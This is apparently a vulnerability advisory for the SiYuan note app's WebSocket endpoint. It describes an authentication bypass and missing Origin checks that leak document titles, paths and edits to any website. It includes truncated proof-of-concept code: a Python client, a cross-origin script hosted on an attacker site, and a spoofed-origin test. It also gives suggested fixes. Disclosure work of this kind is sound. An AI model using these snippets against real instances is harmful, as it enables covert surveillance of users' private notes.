Improper authorization control for web services In github.com/siyuan-note/siyuan/kernel

Description

SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

Summary

SiYuan's WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan&id=auth&type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.

Combined with the absence of Origin header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.

Affected Component

    File: kernel/server/serve.go:728-731

    Function: serveWebSocket()HandleConnect handler

    Endpoint: GET /ws?app=siyuan&id=auth&type=auth (unauthenticated)

    Version: SiYuan <= 3.5.9

Root Cause

The WebSocket HandleConnect handler has a special case bypass (line 730) intended for the authorization page:

util.WebSocketServer.HandleConnect(func(s *melody.Session) {
    authOk := true
    if "" != model.Conf.AccessAuthCode {
        // ... normal session/JWT authentication checks ...
        // authOk = false if no valid session
    }

    if !authOk {...

Three issues combine:

    Authentication bypass via URL parameters: Any client connecting with ?app=siyuan&id=auth&type=auth bypasses all authentication checks.

    Full broadcast membership: The bypassed session is added to the broadcast list via util.AddPushChan(s), receiving ALL PushModeBroadcast events — the same events sent to authenticated clients.

    No Origin validation: The WebSocket endpoint does not check the Origin header, allowing cross-origin connections from any website.

Proof of Concept

Tested and confirmed on SiYuan v3.5.9 (Docker) with accessAuthCode configured.

1. Direct unauthenticated connection

import asyncio, json, websockets

async def spy():
    # Connect WITHOUT any authentication cookie
    uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth"
    async with websockets.connect(uri) as ws:
        print("Connected without authentication!")
        while True:...

2. Cross-origin attack from malicious website

<!-- Hosted on https://attacker.com/spy.html -->
<script>
// Victim has SiYuan running on localhost:6806
const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth");

ws.onopen = () => console.log("Connected to victim's SiYuan!");

ws.onmessage = (event) => {...

3. Confirmed leaked events

The following events are received by the unauthenticated WebSocket:

Event
Leaked Data

4. Cross-origin connection confirmed

import websockets, asyncio

async def test():
    uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth"
    extra_headers = {"Origin": "https://evil.attacker.com"}
    async with websockets.connect(uri, additional_headers=extra_headers) as ws:
        print("Cross-origin connection accepted!")  # SUCCEEDS
...

Result: Connection succeeds — no Origin validation.

Attack Scenario

    Victim runs SiYuan desktop (Electron, listens on localhost:6806) or Docker instance

    Victim has accessAuthCode configured (server is password-protected)

    Victim visits attacker.com in any browser

    Attacker's JavaScript connects to ws://localhost:6806/ws?app=siyuan&id=spy&type=auth

    WebSocket connection bypasses authentication

    Attacker silently monitors ALL document operations in real-time:

      Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft")

      Notebook names ("Personal", "Work - Confidential")

      File paths and document IDs

      Create/rename/delete operations

    Attacker builds a profile of the victim's note-taking activity without any visible indication

Impact

    Severity: HIGH (CVSS ~7.5)

    Type: CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)

    Authentication bypass on WebSocket endpoint when accessAuthCode is configured

    Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance

    Real-time information disclosure of document metadata (titles, paths, operations)

    No user interaction required beyond visiting a malicious website

    Affects both Electron desktop and Docker/server deployments

    Silent — no visible indication to the user

Suggested Fix

1. Remove the URL parameter authentication bypass

// Remove or restrict the auth page bypass
// Before (vulnerable):
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
         strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")

// After: Use a separate, restricted endpoint for auth page keepalive
// that does NOT receive broadcast events

2. Add Origin header validation

util.WebSocketServer.HandleConnect(func(s *melody.Session) {
    // Validate Origin header
    origin := s.Request.Header.Get("Origin")
    if origin != "" {
        allowed := false
        for _, o := range []string{"http://localhost", "http://127.0.0.1", "app://"} {
            if strings.HasPrefix(origin, o) {
                allowed = true...

3. Separate keepalive from broadcast

If the auth page needs a WebSocket for keepalive, create a separate endpoint (/ws-keepalive) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Package
Affected version